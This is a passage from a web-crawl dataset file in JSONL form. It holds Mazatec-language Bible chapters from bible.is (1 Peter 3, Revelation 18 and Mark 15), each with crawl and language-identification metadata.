3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/3","date":"2013-12-09T10:00:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163955638\/warc\/CC-MAIN-20131204133235-00094-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":731,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á ti̱s'ín tjín i̱t'aà tsa̱jòn xi íchjín 'mì‑nò, nangui titsa̱jna‑là x'i̱n‑nò, mé‑ne jñà xi̱ta̱ x'i̱n‑nò tsà tjín i'nga xi mìkiì mokjeiín‑la̱ 'én‑la̱ Nainá, ko̱kjeiín‑la̱, na̱s'ín mìkiì ki̱nókjoa̱ko̱o kjoa̱ ts'e̱ Nainá. K'e̱ nga skoe̱xkon‑nò nga ndaà titsa̱nìjchá yijo‑nò ti̱koa̱á si̱ìkjatjìyaá‑la̱ yijo‑la̱. 2Skótsejèn‑nò nga tsjeè titsa̱nìjchá yijo‑nò nga ndaà yaxkón Nainá. 3Ko̱ kì tà i̱sò'nga‑la̱ yijo‑nò 'ñó ndaà bíndaà, nga 'ñó ndaà bí'ñó tsja̱ skoò, nga ndáto̱n chjí nìkjeén xi nguì oro, nga jñà nikje x'ió‑nò 'ñó xkón kjoàn. 4Majìn, jè xi nchrobájiìn ini̱ma̱‑nò xi ndaà síkatsejèn‑nò, jè‑né xi mìkiì bits'on, jè ini̱ma̱ xi indaàkjoa̱ ko̱ xi 'nchán tíjna. Jè xi 'ñó tse chjí‑la̱ nga nguixko̱n Nainá. 5Nga sa̱ kjòtseé, jñà íchjín xi ndaà kijtseèxkón Nainá nga kiskoòñà‑la̱, k'oa̱á s'ín ndaà tsatsejèn nga nangui tsibìtsa̱jna‑la̱ x'i̱n‑la̱. 6K'oa̱á s'ín kis'iìn Sara nga kisìkitasòn‑la̱ Abraham. K'oa̱á ma‑ne nga ndaà kijtseèxkón nga jè xi Na̱'èn tíjna. Jñò, tsà ndaà 'nè ko̱ tsà nìmé kjo̱xkón tjín‑nò, tje̱‑la̱ Saraá ma. 7Jñò xi x'i̱n 'mì‑nò, ndaà ti̱tsa̱jnako̱o jñà íchjín‑nò nga ndaà kàtachi̱ya‑nò nga ìsa̱á indaàkjoa̱. Ndaà jcha̱xkón íchjín‑nò nga ngásòn tjoé‑nò jè kjo̱ndaà‑la̱ Nainá, jè kjoa̱binachon xi jè Nainá jye tjíndaà‑la̱ nga tsjá‑nò. K'oa̱á s'ín t'e̱en mé‑ne k'e̱ nga nokjoàt'aà‑là Nainá, ni̱mé si̱ìjti‑nò. 8Nga yije kjoa̱ koi, ngats'ioò, ta jngoò kjo̱hítsjeèn kàtas'e‑nò; ti̱jetakòn xinguio̱o; tjòcha t'e̱en xinguio̱o nga 'ndsè chiba; chahi̱ma̱a xinguio̱o; i̱ma̱ kjoa̱ t'e̱en. 9Tsà yá xi ch'o síko̱‑nò, kì k'oa̱á ti̱s'ín 'nè ngajo‑nò. Tsà yá xi 'on chja̱jno‑nò, kì k'oa̱á ti̱s'ín nokjoàjno ngajo‑là. Jñò, ta̱ sa̱á ti̱jét'aà‑là Nainá nga kàtasíchikon‑t'in; nga jyeé 'yaà nga koií xá kinokjoá‑nò nga Nainá si̱ìchikon‑t'in‑nò. 10Nga: Jè xi mejèn‑la̱ nga tsja s'e‑la̱ nga tíjnakon, nga mejèn‑la̱ skoe̱ na̱chrjein xi ndaà, kàtasíkinda̱ ni̱je̱n‑la̱ nga mì ch'o ki̱chja̱; ko̱ kàtasíkinda̱ tso'ba, nga mì 'én ndiso ki̱chja̱. 11Ti̱nchat'aàxìn‑là kjoa̱ xi ch'o tjín; ndaà t'e̱en. 'Nchán titsa̱jnako̱o xinguio̱o ni̱ta̱ mé kjoa̱ xi tjín‑nò. 12Nga jè Na̱'èn‑ná tísík'aá xko̱n nga tísíkinda̱ xi xi̱ta̱ kixi̱, tíbinchá líká‑la̱ nga tí'nchré‑la̱ k'e̱ nga chja̱t'aà‑la̱, ta̱nga jñà xi̱ta̱ xi ch'o s'ín bí'maá‑la̱ i̱sén‑la̱ nga kondra̱ ts'e̱‑né. 13Jñò, tsà kjit'aà na̱chrjein nga ndaà titsa̱'nè, mì yá xi̱ta̱ xi ch'o si̱ìko̱‑nò. 14Ta̱nga mé ta ndaà‑nò tsà kjo̱'in titsa̱nìkjioón ta koi kjoa̱‑la̱ nga kixi̱ 'nè. Ta̱nga ni̱ jngoò xi̱ta̱ tsakjoòn‑là, kì binchaxkón‑là yijo‑nò. 15Jè ti̱kíjna ítjòn Cristo nga jè kàtatíxoma‑nò ya̱ i̱jiìn ini̱ma̱‑nò. Ti̱tsa̱jnandaà nga kjit'aà na̱chrjein mé‑ne nga ko̱ma kéno̱jmíya‑là jñà xi̱ta̱ xi sko̱nanguiya‑nò i̱t'aà ts'e̱ kjoa̱ xi titsa̱chiñá‑là i̱t'aà ts'e̱ Cristo. 16K'e̱ nga ki̱nókjoa̱a, indaàkjoa̱ t'e̱en. Cha̱xkón jñà xi kéno̱jmíya‑là, tsjeè kàtìjna kjo̱hítsjeèn‑nò, mé‑ne jñà xi̱ta̱ xi ch'o chja̱jno‑nò nga ndaà 'nè nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo, ko̱sobà‑la̱ nga jñò chja̱jno‑nò. 17Ìsa̱á ndaà tjín tsà ko̱s'ín mejèn‑la̱ Nainá nga kjo̱'in si̱kjioón k'e̱ nga ndaà 'nè, mì k'oa̱‑ne tsà k'e̱ nga ch'o 'nè. 18Nga skanda jè Cristo, jngoò k'aá kisìkjeiín kjo̱'in k'e̱ nga k'en xi kjoa̱ ts'e̱ jé‑ná. Cristo, mìtsà jé tsohótsji; xi̱ta̱ kixi̱‑né; kisìkjeiín kjo̱'in i̱t'aà ts'e̱ xi̱ta̱ xi jé tjín‑la̱ mé‑ne nga ko̱ma kji̱ko̱‑ná nguixko̱n Nainá. Yijo‑la̱, jñà xi̱ta̱ kisìk'en, ta̱nga i̱t'aà ts'e̱ Ini̱ma̱‑la̱ jaáya ìjngoò k'a‑la̱. 19Ko̱ jè Ini̱ma̱‑la̱ Cristo kiì i̱'nde ñánda títsa̱jna ini̱ma̱ xi títsa̱jnaya nda̱yá nga kiìchja̱yajiìn‑la̱. 20Ini̱ma̱ koi, ts'e̱é xi̱ta̱ xi mìkiì kiì'nchréñijon‑la̱ Nainá na̱chrjein ts'e̱ Noé. Nainá tseé kiskoòñà kjoa̱ k'e̱ nga Noé tsibíndaà chitso je. Ya̱ i̱ya chitso, tà jiìn ma‑ne xi̱ta̱ xi itjokàjiìn kjo̱'in nga mìkiì k'en k'e̱ nga ts'a jtsí xkón. 21Ko̱ jè nandá ts'e̱ jtsí xkón, jè ngaya‑la̱ nandá xi ma‑ná bautizar na̱chrjein i̱'ndei̱ nga bitjokàjñaá kjo̱'in. Ta̱nga nga maá bautizar, mìtsà yijo‑ná matsjeè‑ne, jè‑né nga nìjét'aà‑lá Nainá nga tsjeè kàtas'e kjo̱hítsjeèn‑ná. Ko̱ bitjokàjñaá kjo̱'in, koií kjoa̱‑la̱ nga jaáya‑la̱ Cristo, 22ko̱ kiì mijìn ján ngajmiì nga ya̱ tíjnat'aà chrja kixi̱‑la̱ Nainá. Jé tíhotíxoma‑la̱ àkja̱le̱ ko̱ ini̱ma̱ xi tjín‑la̱ kjo̱tíxoma ko̱ ngats'iì xi tjín‑la̱ nga'ñó.\n1 Pedro 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Pet\/3","date":"2013-12-13T14:28:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164946521\/warc\/CC-MAIN-20131204134906-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":605,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra ijye kjomà kjoa̱ kìi̱, ìjngo ìkja̱li̱ kíjtse‑isa ra inchrabàjen‑ni ya̱ ján ngajmi ra 'ñó tse nga'ñó tjín‑la̱; jè kjoa̱jeya‑la̱ ra 'ñó jate tsatsíjen, ngi kisìhisen tíjngo ya̱ a̱'ta nangi. 2'Ñó kiìchja̱ nga kitsò: ―Ijyeé iskajen‑ngi, ijyeé iskajen‑ngi jè na̱xi̱ndá‑je ra 'mì Babilonia; ijyeé ta i̱'nde‑la̱ inìma̱ 'cho‑la̱ ni̱í kjamà ko̱ nga̱jo̱‑la̱ nga'tsì ra inìma̱ 'cho ra tjé kjòn; ko̱ ya̱á títsa̱jna jñà ni̱se ra 'ñó 'cho kjòn ra mì kì ma chine. 3Nga̱ nga'tsì xi̱ta̱ i̱sà'nde, ya̱á isíngásòn‑ko̱ jè na̱xi̱ndá je ra̱kìi̱ nga kj'ií nainá kiìtji̱ngi‑la̱ koni 'sín xi̱ta̱ ra kjoa̱chijngi 'sín, 'koa̱á ngoya‑la̱ tsa ya̱ kjo'chi̱‑ni xi̱ta̱ jñà kjoa̱chijngi ra ki'se ya̱ a̱jin na̱xi̱ndá ra kìi̱. Ko̱ jñà xi̱ta̱xá títjòn ra tjín ya̱ i̱sà'nde, ti̱'koa̱á ya̱á kiìtji̱ngi‑te‑la̱ ra kj'ií nainá ra tjín ya̱ na̱xi̱ndá ra̱kìi̱ koni tsa ki'sìn‑te kjoa̱chijngi. Ko̱ jñà xi̱ta̱ i̱sà'nde ra batínaya‑ni tsajmì, ya̱á kjonchi̱ná‑ni nga̱'ta 'tse̱ kjoa̱'cho ra ki'se‑la̱ jè na̱xi̱ndá ra kìi̱. 4Ìjngo jta̱ kí'nchre-isa‑la̱ ra ngajmi inchrabà‑ni nga kitsò: ―Jiòn ra na̱xi̱ndá tsa̱'a̱n, títjo̱kajion jè i̱'nde ra̱kìi̱, mé‑ni nga mì ya̱ kjótsji-jé‑te‑no jè jé ra 'sín, ko̱ ti̱'koa̱á mé‑ni mì ya̱ ko̱ko̱‑te‑no jñà kjo̱hi'in ra tjábé‑la̱. 5Nga̱ jñà jé‑la̱ ijyeé 'ñó kjotse skanda ijye tsihijin i̱ ngajmi, ko̱ jè Nainá tí'sín kinda̱ nga'tsì kjoa̱'cho ra i̱nchi'sín. 6Ko̱'sín katama'tin ngajo‑ni koni 'sín nga ki'sìn ra jè. Jò 'ka̱ ko̱'sín katama'tin ngajo‑ni koni 'sín tjín kjoa̱'cho ra ki'sìn. Ti̱jé‑ni chi̱tsín ra tsikíndayá xán, jò 'ka̱ ko̱'ki jchá 'ti̱ ngajo‑ila̱ koni 'sín jchá xán ra jè tsikínda. 7Ta nga̱tjì‑la̱ nga jeya isíkíjna ijo‑la̱ ko̱ nga isitsjako̱‑te ijo‑la̱, ko̱'sín 'ti̱‑la kjo̱hi'in nga katakjindáya‑ni ndáxko̱n. Nga̱ 'koa̱á 'sín tsò ya̱ a̱jin inìma̱‑la̱: \"'A̱án‑ná chjo̱ón ítjòn ko̱ 'a̱án tíbatexóma, ko̱ mì tsa chjo̱ón jch'a̱n‑jiàa̱n, ko̱ ni̱jngo ni̱chjin nga kjo̱hi'in sikjiáa̱n.\" 8'Koa̱á ma‑ni nga ta jngo kjón ni̱chjin kj'i̱í kanè ijye kjo̱hi'in ra 'ki̱‑la̱: ki̱yá xi̱ta̱‑la̱; ski̱ndaya‑ni ndáxko̱n; ko̱kjijnchrá‑la̱. Ko̱ ngi ni'í kje̱hesko‑ni. Nga̱ batoó tjín‑la̱ nga'ñó jè Nainá ra ijye ko̱'sín kiskosòn‑la̱ nga ko̱tjín kjo̱hi'in tsjá‑la̱. 9Jñà xi̱ta̱xá ítjòn ra tjín ya̱ i̱sà'nde, 'ñó ski̱ndayake ko̱ 'ñó 'on ka̱ma‑la̱ 'kia̱ nga ske̱ nga tímihijiín jè ni̱'ndi̱‑la̱ nga títì jè na̱xi̱ndá je ra̱kìi̱ ya̱ ñánda̱ nga kijìtji̱ngi‑la̱ nainá xkósòn ra tjín ya̱ na̱xi̱ndá je ra̱kìi̱ ra 'koa̱ ngoya‑la̱ koni tsa kijìtji̱ngi jngo‑la̱ chjo̱ón ra kisìko̱ kjoa̱chijngi ko̱ nga kisitsjako̱ ijo‑la̱. 10Kjiín ki̱ncha‑ni nga jtsa̱kjòn‑la̱ jè kjo̱hi'in ra̱kìi̱; 'ñó ki̱chja̱ nga ki̱tso̱: ―¡I̱ma̱‑ró‑ni, i̱ma̱‑ró‑ni na̱xi̱ndá je Babilonia ra 'ñó nda kijchaxkon‑la̱, nga̱ ta jngohíjta kjón‑ní kà'fiìkánè‑la̱ jè kjo̱hi'in ra ka'bì‑la̱! 11Jñà xi̱ta̱ ra tjín ya̱ i̱sà'nde ra batínaya‑ni tsajmì, ti̱'koa̱á ski̱ndayakeé‑te nga baá 'se̱‑la̱ nga̱ mì ti̱ yá ra ko̱tse‑ni jñà tsajmì‑la̱, 12jñà tsajmì ra ki̱cha̱ sinè, ra ki̱cha̱ chroba, ko̱ na̱jo̱ chjí ra 'ñó nda kjòn, ko̱ ndáto̱n ra 'mì perla, ko̱ nikje chjí ra chroba kjòn, ko̱ ra chji̱'ndi̱ nájtsé kjòn, ko̱ nikje ra ngi seda ko̱ nikje ra inì kjòn, ko̱ nga'tsì yá íte ra nda jne̱, ko̱ kjín ndi̱yá‑la̱ tsajmì chjí ra ngi ninda ni̱'ño̱ cho̱ isinda‑ni, ko̱ tsajmì ra yá akon isinda‑ni, ko̱ ki̱cha̱ bronce, ko̱ jñà ki̱cha̱ ra 'mì hierro, ko̱ jñà na̱jo̱ ra 'mì marmol; 13ko̱ jñà chrja̱ba̱‑yá canela, nga'tsì tsajmì ra nda jne̱, ko̱ chrjongó nainá, ko̱ perfume ra 'ñó nda jne̱ ra 'mì mirra, chrjongó 'tse̱ yá olivo, ko̱ xán ra 'tse̱ to uva, ko̱ sihìti̱, ko̱ chijo ni̱ño̱ nchra̱jín ko̱ trigo, ko̱ jñà cho̱ ra ma 'ba 'chá, ko̱ forrè, ko̱ kabàyo̱, ko̱ carreta, skanda satína‑te jñà xi̱ta̱ ra chi̱'nda 'ñó síxá. 14Ki̱tso̱‑la̱: ―¡Nga'tsì kjoa̱ ra nda isasèn‑la̱ ijo‑li, ijyeé itjahíxìn‑li; ijyeé inichija tsji nga'tsì tsajmì ra nda kjòn ra tsjachi tsiki, ko̱ ni̱ì‑ti̱‑jngo ni̱chjin sa̱kò india‑ili! 15Jñà xi̱ta̱ ra tjín ya̱ i̱sà'nde ra batínaya tsajmì ra ya̱ kjonchi̱ná a̱'ta 'tse̱ na̱xi̱ndá ra̱kìi̱, kjiín ki̱ncha‑ni nga jtsa̱kjòn 'kia̱ nga ske̱ jè kjo̱hi'in ra̱kìi̱. 'Ñó ski̱ndayake ko̱ baá 'se̱‑la̱, 16nga ki̱tso̱: ―¡Mé ta̱ jé‑la̱ jè na̱xi̱ndá‑je ra ngi nikje lino chraba tsakjaya, ko̱ nikje ra chji̱'ndi̱ nájtsé, ko̱ ra nikje inì, ko̱ nga tsajàjno ya̱ ijo‑la̱ ra ngi ki̱cha̱ sinè, ko̱ na̱jo̱ chjí ra 'ñó nda kjòn, ko̱ ndáto̱n ra 'mì perla, 17nga̱ ta̱ jngohíjta kjón‑ní kafehesòn‑ni nga'tsì kjoa̱nchi̱ná ra tjín‑la̱! Nga'tsì xi̱ta̱ ra síxáko̱ chitso ko̱ nga'tsì xi̱ta̱ ra ya̱ i̱nchifìya ya̱ chitso, ko̱ jñà xi̱ta̱ ra ya̱ síxá ya̱ a̱ya chitso ko̱ nga'tsì ra ya̱ síxá ya̱ a̱jin ndáchikon, kjiín tsincha‑ni 18'kia̱ nga kijtse jè ni̱'ndi̱‑la̱ nga títì jè na̱xi̱ndá ra̱kìi̱; 'ñó kiìchja̱ nga kitsò: ―Ni̱ kjè sa jngo na̱xi̱ndá ta nda ki'yaxkon‑la̱ koni jè na̱xi̱ndá ra títì 'ndi̱‑ni̱. 19Tsikíxten‑jnó chijo ya̱ sko̱ ko̱ 'ñó ba ki'se‑la̱ nga iskindayake nga kitsò: ―Mé ta̱ jé‑la̱ jè na̱xi̱ndá‑je ra̱kìi̱, nga̱ nga'tsì ra tjín‑la̱ chitso ya̱ a̱jin ndáchikon, ndaá kjonchi̱ná‑ni a̱'ta 'tse̱ kjo̱nchi̱ná ra ki'se‑la̱ jè na̱xi̱ndá je ra̱kìi̱, ko̱ 'ndi̱‑ni̱ ta jngohíjta kjón‑ní kafehesòn‑ni nga'tsì kjoa̱nchi̱ná‑la̱. 20Nga'tsì ra titsa̱jna ján ngajmi, tsjaá kata'se‑no; ko̱ nga'tsiò ra xi̱ta̱‑la̱ Nainá ma, ko̱ jiòn ra tsikíxáya‑no Cristo, ko̱ jiòn ra inakjoá ngajo‑la Nainá, tsja 'tè‑la takòn. Nga̱ ijyeé jè Nainá kàtsjáhi'in‑la̱ ta nga̱tjì‑la̱ nga'tsì kjoa̱ ra isìko̱‑najiòn. 21Jngo ìkja̱li̱ ra 'ñó tse nga'ñó tjín‑la̱, jngo na̱jo̱ tse iskábé ra na̱jo̱ natsí ra litji 'ki, a̱kjòn ya̱á isìkàtje̱n‑jin ya̱ a̱jin ndáchikon, kitsò: ―Na̱xi̱ndá Babilonia ra 'ñó nda kijchaxkon‑la̱, 'koa̱á ti̱'sín 'ñó na̱nga̱ ska̱jin‑ndá ko̱ ngi jchi̱ja‑ní ko̱ mì ti̱ yá ra ske̱xkon-isa‑ni ya̱ i̱sà'nde. 22Ko̱ ya̱ i̱'nde ra̱kìi̱, mì ti̱ kì ki̱ná'ya‑ila̱ jñà ra síkjane arpa ko̱ jñà ra síkjane chrjoo̱ i̱tsjí ko̱ jñà ra síkjane chrjoo̱ i'i. Ko̱ mì ti̱ yá xi̱ta̱ 'se̱‑ni ra ma‑la̱ si̱íxáko̱ ta mé tsajmì‑nioo̱. Ko̱ mì ti̱ kì mé na̱jo̱ molino ko̱xáko̱‑ni. 23Ni̱ì‑ti̱‑jngo ni'í ko̱hisen‑ni ya̱ i̱'nde ra̱kìi̱, ko̱ mì ti̱ yá xi̱ta̱ ki̱xan‑ni, ta nga̱tjì‑la̱ nga batoó 'ñó nchi̱ná kina'yà‑la̱ nga tíjngo i̱sà'nde jñà xi̱ta̱‑la̱ ra tsatìnaya‑ni tsajmì, ko̱ ta nga̱tjì‑la̱ nga jñà kjoa̱tj'ee̱ ra ki'se jè na̱xi̱ndá ra̱kìi̱, tsikíndisoko̱ nga'tsì na̱xi̱ndá ra tjín i̱sà'nde. 24Jé na̱xi̱ndá ra̱kìi̱ tjín‑la̱ jé nga kinì'ken ko̱ nga kixaájten jní‑la̱ xi̱ta̱‑la̱ Nainá ko̱ jñà ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, skanda nga'tsì xi̱ta̱ ra kinì'ken nga tíjngo i̱sà'nde.\nApocalipsis 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/18","date":"2013-12-09T10:41:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163956743\/warc\/CC-MAIN-20131204133236-00004-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000053644180298}","num_words":977,"character_repetition_ratio":0.064,"word_repetition_ratio":0.006,"special_characters_ratio":0.229,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga kis'e i̱sén jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ ngats'iì xi̱ta̱xá ts'e̱ xi̱ta̱ judío tsajoóya‑ne. Tsibít'aà'ñó Jesús, kiìko̱, kisìnga̱tsja jè Pilato. 2Jè Pilato kiskònangui‑la̱, kitsò‑la̱: ―¿A ji̱‑né xi xi̱ta̱xá ítjòn‑la̱ jñà xi̱ta̱ judío? Jesús kitsò: ―Ngaji̱í xi k'oa̱ si nga 'a̱n‑ná. 3Ta̱nga jñà xi̱ta̱ sko̱‑la̱ no̱'miì, kjìn ska̱ya 'én tjín‑ne xi tsját'in nga óngui. 4Pilato ìjngoò k'a kiskònangui‑la̱, kitsò‑la̱: ―¿A ni̱mé 'én nokjoì? Ti̱ná'yaà‑la̱, 'ñó kjìn ska̱ya kjoa̱ tsját'in‑lè nga óngui‑lè. 5Jesús mìkiì kiìchja̱ na̱s'ín koa̱ tí'mì‑la̱. Pilato, tà k'oa̱á komà‑la̱. 6Nga xki̱ nó k'e̱ nga bitjo s'eí Paxko̱ jè Pilato síkíjnandei̱í jngoò xi̱ta̱ xi títsa̱'ya nda̱yá, jè xi síjé xi̱ta̱ na̱xa̱ndá nga kíjnandei̱í. 7Jñà xi̱ta̱ xi títsa̱'ya nda̱yá nga kjoa̱siì tsohótsji ts'e̱ gobierno, ya̱ tíjna xi 'mì Barrabás xi xi̱ta̱ kisìk'en. 8Jñà xi̱ta̱ na̱xa̱ndá kiìkáko̱ Pilato nga mejèn‑la̱ koa̱ s'ín síkitasòn koni ma nga xki̱ nó. 9Kiìchja̱ Pilato, kitsò: ―¿A mejèn‑nò nga siìkíjnandei̱í‑nò xi xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío? 10Pilato jye tíjiìn‑la̱ nga tà kjoa̱xìtakòn‑né nga jñà xi̱ta̱ sko̱‑la̱ no̱'miì ya̱ ijchò sínga̱tsja Jesús. 11Jñà xi̱ta̱ sko̱‑la̱ no̱'miì chinchá'a xi̱ta̱ na̱xa̱ndá nga ko̱s'ín kàtasíjé nga kàtìjnandei̱í‑ne Barrabás. 12Pilato ìjngoò k'a kiskònangui‑la̱ xi̱ta̱ na̱xa̱ndá, kitsò‑la̱: ―¿Mé xi si̱koa̱á jè xi 'mì‑là xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío? 13Jñà xi̱ta̱, 'ñó kiìchja̱, kitsò: ―Ta̱sit'iì krò. 14K'e̱é kitsò Pilato: ―¿Mé jé xi tsohótsji, mé‑ne ki̱yá‑ne? Jñà xi̱ta̱, ìsa̱á 'ñó kiìchja̱, kitsò: ―Ta̱sit'iì krò. 15Pilato mejèn‑la̱ nga ndaà kíjnako̱ xi̱ta̱ na̱xa̱ndá. Kisìkíjnandei̱í Barrabás. K'e̱ nga jye kitsjaà o̱kixi̱ nga tsajá‑la̱ Jesús, i̱kjoàn kisìnga̱tsja nga si̱t'aà krò. 16Jñà soldado kiìko̱ Jesús ján ni'ya osen. I̱kjoàn kiìchja̱ yije‑la̱ soldado xíkjín. 17Kisìkákjá jngoò nikje xi inì jmà kji; tsibí'a sko̱ jngoò corona na'yá xi jñà xó tsibíndaà‑ne. 18I̱kjoàn tsibíts'ia̱ nga kiskindàyat'in. Kitsò‑la̱: ―Viva xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío. 19Tsatjì yá xka̱jnchra̱ sko̱; i̱kjoàn tsibíchrájno koa̱ chincha-xkó'nchit'aà‑la̱ koni tsà nchibeèxkón. 20K'e̱ nga jye kisìsobà‑la̱, jaàxìn‑la̱ nikje sko xi íkjá, i̱kjoàn kisìkákjá‑ne xi nikje ts'e̱. K'e̱é itjoko̱ nga ko̱sit'aà krò. 21Jngoò xi̱ta̱ kisatiìkjoò xi 'mì Simón xi Cirene i̱'nde‑la̱ xi tínchrobá‑ne rancho̱‑la̱. Na̱'èn‑la̱á ma jè Alejandro ko̱ Rufo. Jñà soldado kjo̱'ñó kis'iìn‑la̱ nga kisìk'ajen krò‑la̱ Jesús. 22Kiìko̱ Jesús ján i̱'nde ñánda 'mì Gólgota, jè 'én xi tsòya‑ne i̱'nde sko̱ mik'en. 23Kitsjaà‑la̱ vino xi tsjájiìn xich'a tsja xi 'mì mirra ta̱nga jè Jesús mìkiì kits'iì. 24K'e̱é tsasìt'aà krò, i̱kjoàn jñà soldado kisìskáko̱ nikje‑la̱ Jesús nga kisìka'bí‑la̱ xíkjín yá ts'e̱ ko̱ma. 25Ijchò‑la̱ tsà xi ñijaàn nga ta̱jñòya nga kisasìt'aà krò Jesús. 26Jñà 'én xi tsohót'aà i̱sòn sko̱ krò, ya̱á tíchja̱ mé jé xi komà‑la̱ Jesús nga kinìk'en. Tsò‑né: \"Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío.\" 27Ti̱koa̱á chinchat'aà krò jò xi̱ta̱ chijé. Jngoò tsasíjnat'aà nga kixi̱‑la̱ Jesús ko̱ jngoò tsasíjnat'aà nga ngaskón‑la̱. 28K'oa̱á s'ín kjòngásòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"K'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi tse jé tjín‑la̱.\" 29Jñà xi̱ta̱ xi ya̱ ja, síkatji sko̱ nga kiìchja̱jno‑la̱, kitsò‑la̱: ―Ji̱, k'oa̱á kisi nga si̱ixòñi i̱ngo̱ ítjòn‑la̱ Nainá ko̱ jàn na̱chrjein kíndaà ngajo‑ne, 30ti̱kíjnandei̱í yijo‑lè ko̱ chínáje̱n‑t'i yijo‑lè krò. 31K'oa̱á ti̱s'ín kisìsobà‑la̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Kitsò‑la̱ xíkjín: ―Xi̱ta̱ jè, tsachrjekàjiìn kjo̱'in xi kj'ei̱í xi̱ta̱, ta̱nga jè xi yijo‑la̱, mìkiì ma ochrjekàjiìn kjo̱'in. 32Kàtìtjojen‑t'aà krò jè xi Cristo, xi Xi̱ta̱xá Ítjòn‑la̱ na̱xa̱ndá Israel, mé‑ne nga jcha̱‑ná koa̱ ko̱kjeiín‑ná. Skanda jñà xi̱ta̱ xi ti̱koa̱ ya̱ kjit'aà krò, ti̱koa̱á tsatít'aà. 33K'e̱ nga ijchò nchisen, kóho̱kji nga tíjtsa i̱sò'nde kòjñò skanda xi jàn nga nguixòn. 34Ti̱jè‑ne hora Jesús 'ñó kiìchja̱ nga kitsò: ―Eloi, Eloi, ¿lama sabactani? ―'Én jè tsòya‑ne: Nainá, Nainá, ¿mé‑ne kàjneitakòn‑ná? 35Tjín i'nga xi̱ta̱ xi ya̱ títsa̱jna xi kiì'nchré‑la̱, kitsò: ―Ti̱ná'yaà‑là, jè chja̱‑la̱ Elías. 36K'e̱é tsangachikon jngoò xi kisìka'nchi̱ tsa̱nga̱ ko̱ vinagre, i̱kjoàn tsibísko̱‑la̱ ína̱xo̱, kitsjaà‑la̱ Jesús nga kàt'iì, kitsò: ―Chítsejèn‑là, ¿a kjoi̱í Elías nga skónáje̱n‑t'aà krò? 37Ta̱nga Jesús ìsa̱á 'ñó kiskindàya; k'en. 38Jè nikje velo xi tjo̱hóya jngoò osen i̱ngo̱ ítjòn kixajndà, jòya ko̱ma skanda i̱t'aà nangui. 39Jè xi̱ta̱ sko̱‑la̱ soldado xi síjna ñánda kisit'aà krò Jesús k'e̱ nga kijtseè nga jye k'en Jesús, kitsò: ―Kixi̱í kjoa̱, xi̱ta̱ jèe̱, Ki'ndí‑la̱ Nainá‑né. 40Ti̱koa̱ títsa̱jna i'nga íchjín xi kjiìn nchikotsejèn‑ne; jè María Magdalena, ko̱ chjo̱ón Salomé, ko̱ María xi nea̱‑la̱ ma José ko̱ Jacobo, jè xi ìsa̱ ma ki'ndí. 41Jñà íchjín koi, k'e̱ nga tsibìjna Galilea Jesús, ya̱á chinchima‑tji̱ngui‑la̱ ko̱ ya̱á kisìchját'aà‑la̱. Kjìn ma íchjín xi ya̱ títsa̱jna xi ijchòko̱ ján Jerusalén. 42K'e̱ nga jye kjònguixòn nga jye bìtsa̱jnandaà‑la̱ na̱chrjein nìkjáya. 43José xi Arimatea i̱'nde‑la̱, jngoò xi̱ta̱ xi ti̱koa̱ 'nga xá tjín‑la̱ ts'e̱ xi̱ta̱xá‑la̱ xi̱ta̱ judío xi ti̱koa̱ tíkoña‑la̱ nga mejèn‑la̱ skoe̱ kó s'ín otíxoma Nainá, kitsjaà‑la̱ nga'ñó yijo‑la̱, jahas'en ya̱ ni'ya ñánda tíjna Pilato nga kisìjé yijo‑la̱ Jesús. 44Pilato, tà k'oa̱á ko̱ma‑la̱ nga jye k'en Jesús; kiìchja̱‑la̱ jè xi̱ta̱ sko̱‑la̱ soldado; kiskònangui‑la̱ tsà kixi̱ kjoa̱ nga jye k'en. 45K'e̱ nga jye tsibéno̱jmí jè xi̱ta̱ sko̱‑la̱ soldado nga jye k'en Jesús, Pilato kisìnga̱tsja José yijo‑la̱ Jesús. 46José tsatse jngoò nikje sábana; kiskóje̱n‑t'aà krò yijo‑la̱ Jesús; i̱kjoàn kisìkájté jè nikje. K'e̱é kiì kíhijiìn ñánda jye tjíndaà jngoò nga̱jo̱ i̱tsjó i̱ngui nguijo; 